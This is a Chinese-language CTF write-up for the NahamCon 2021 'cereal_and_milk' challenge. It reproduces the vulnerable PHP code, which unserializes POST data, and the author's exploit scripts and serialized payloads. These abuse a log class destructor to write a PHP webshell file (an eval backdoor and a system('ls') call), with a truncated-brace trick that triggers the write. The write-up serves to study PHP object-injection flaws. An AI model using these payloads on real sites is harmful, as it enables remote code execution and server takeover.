Nahamcon-2021-cereal_and_milk
题目代码不难,但是wp的这句话吸引了我Now another quirk, do not copy the last }
,不去复制exp生成序列化字符串的最后一个}
才能写马成功,遂来复现
补(3.18):经@feng师傅提醒,直接使用O:3:"log":2:{s:4:"logs";s:7:"pwn.php";s:7:"request";s:1:"a";}
一样可以触发log,debug确实写入成功,但是本目录下未生成马。查资料发现由于apache的原因,析构函数会被其改变工作目录,马被写到php根目录下,本机是D:\Software\phpstudy_pro\Extensions\php\php7.3.4nts
,本题做法是提前进入了析构函数,所以目录未变,当然如果知道绝对路径可以直接写,例如:O:3:"log":2:{s:4:"logs";s:52:"D:\Software\phpstudy_pro\WWW\cereal_and_milk\pwn.php";s:7:"request";s:27:"<?php system("ls -l ."); ?>";}
。
附上官方对析构函数的Note:
析构函数在脚本关闭时调用,此时所有的HTTP头信息已经发出。 脚本关闭时的工作目录有可能和在SAPI(如apache)中时不一样。
源码
index.php
<?php
include 'log.php';
class CerealAndMilk
{
public $logs = "request-logs.txt";
public $request = '';
public $cereal = 'Captain Crunch';
public $milk = '';
public function processed_data($output)
{
echo "Deserilized data:<br> Coming soon.";
# echo print_r($output);
}
public function cereal_and_milk()
{
echo $this->cereal . " is the best cereal btw.";
}
}
$input = $_POST['serdata'];
$output = unserialize($input);
$app = new CerealAndMilk;
$app -> cereal_and_milk($output);
log.php
<?php
class log
{
public function __destruct()
{
$request_log = fopen($this->logs , "a");
fwrite($request_log, $this->request);
fwrite($request_log, "\r\n");
fclose($request_log);
}
}
题解
log.php只有__destruct()
,目标很明确,触发log类,控制其写入的文件名与文件内容来达到getshell,这题看着不太难,也并没有pop,仅仅一个反序列化即可搞定
先试着写一个exp:
<?php
include 'log.php';
class CerealAndMilk
{
public $logs = "request-logs.txt";
public $request = '';
public function __construct()
{
$this->logs = "shell.php";
$this->request = '<?php @eval($_POST["yq1ng"]);?>';
}
}
echo serialize(new CerealAndMilk());
丢到输入框里面试试,post一下并没有生成马子,debug可以看到数据被成功反序列化了,并没有触发到log类
这样的反序列化的确是我第一次见,看了wp才知道原来可以利用数组去触发,多说无益,看代码
<?php
class log
{
public function __construct()
{
$this->logs = 'pwn.php';
$this->request = '<?php system("ls -l ."); ?>';
}
}
class CerealAndMilk
{
public $logs = "request-logs.txt";
public $request = '';
public $cereal = 'Captain Crunch';
public $milk = '';
public function __construct()
{
$this->log[0] = new log();
$this->cereal[0] = 'Frosties';
$this->milk[0] = 'full';
$this->log[1] = new log();
$this->cereal[1] = 'Frosties';
$this->milk[1] = 'full';
}
}
$cer = new CerealAndMilk();
echo serialize($cer);
/*
output
O:13:"CerealAndMilk":5:{s:4:"logs";s:16:"request-logs.txt";s:7:"request";s:0:"";s:6:"cereal";s:14:"FFptain Crunch";s:4:"milk";s:2:"ff";s:3:"log";a:2:{i:0;O:3:"log":2:{s:4:"logs";s:7:"pwn.php";s:7:"request";s:27:"<?php system("ls -l ."); ?>";}i:1;O:3:"log":2:{s:4:"logs";s:7:"pwn.php";s:7:"request";s:27:"<?php system("ls -l ."); ?>";}}}
*/
不要复制最后一个}
,这样会导致反序列化成功,还是不能触发log。如果不复制最后一个}
的话,在反序列化的时候
s:4:"logs";s:16:"request-logs.txt";s:7:"request";s:0:"";s:6:"cereal";s:14:"FFptain Crunch";s:4:"milk";s:2:"ff";
这一段可以反序列化成功,但是由于反序列化数组s:3:"log";a:2:
的时候,最后少了一个}
导致数组不能成功反序列化,这会让php继续读取后面的字符串,看是否还有可以反序列化的点,最后返回false。说白了就是反序列化的套娃,前面不成功不影响后面的
可以看到成功触发了log,并生成了pwn.php,整个题目就是这样了
总结
套娃反序列化,PHP is the best language in the world